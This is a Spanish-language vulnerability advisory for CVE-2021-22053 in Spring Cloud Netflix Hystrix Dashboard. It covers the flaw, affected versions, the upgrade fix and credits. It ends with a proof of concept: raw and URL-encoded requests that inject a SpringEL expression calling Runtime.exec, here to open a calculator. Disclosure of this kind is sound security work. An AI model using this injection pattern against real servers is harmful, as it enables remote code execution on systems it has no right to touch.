spring-cloud-netflix-hystrix-dashboard-cve-2021-22053

CVE-2021-22053: Vulnerabilidad de resolución de plantillas en Spring Cloud Netflix Hystrix Dashboard

Gravedad

Alta

Proveedor

Spring por VMware

Descripción

Las aplicaciones que utilizan tanto spring-cloud-netflix-hystrix-dashboard como spring-boot-starter-thymeleaf exponen una manera de ejecutar código enviado dentro de la ruta URI de la solicitud durante la resolución de plantillas de vista. Cuando se realiza una solicitud en /hystrix/monitor;[datos proporcionados por el usuario], los elementos de la ruta después de hystrix/monitor se evalúan como expresiones SpringEL, lo que puede llevar a la ejecución de código.

Productos y versiones de VMware afectados

La gravedad es alta a menos que se indique lo contrario.

• Spring Cloud Netflix
  • 2.2.0.RELEASE a 2.2.9.RELEASE
  • Las versiones anteriores no compatibles también están afectadas

Mitigación

Los usuarios de las versiones afectadas deben aplicar la siguiente mitigación: Los usuarios deben actualizar a 2.2.10.RELEASE o superior. No se requieren otros pasos. Las versiones que han solucionado este problema incluyen:

• Spring Cloud Netflix
  • 2.2.10.RELEASE+

Créditos

Esta vulnerabilidad fue identificada y reportada responsablemente por threedr3am de SecCoder Security Lab ([email protected]).

Referencias

https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

Historial

2021-11-17: Informe de vulnerabilidad inicial publicado.

POC

cruda:

http://127.0.0.1:8080/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("open -a calculator")}__::.x/

codificada:

http://127.0.0.1:8080/hystrix/;a=a/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22)%7D__::.x/

PD. La barra diagonal '/' no puede ser incluida en el comando.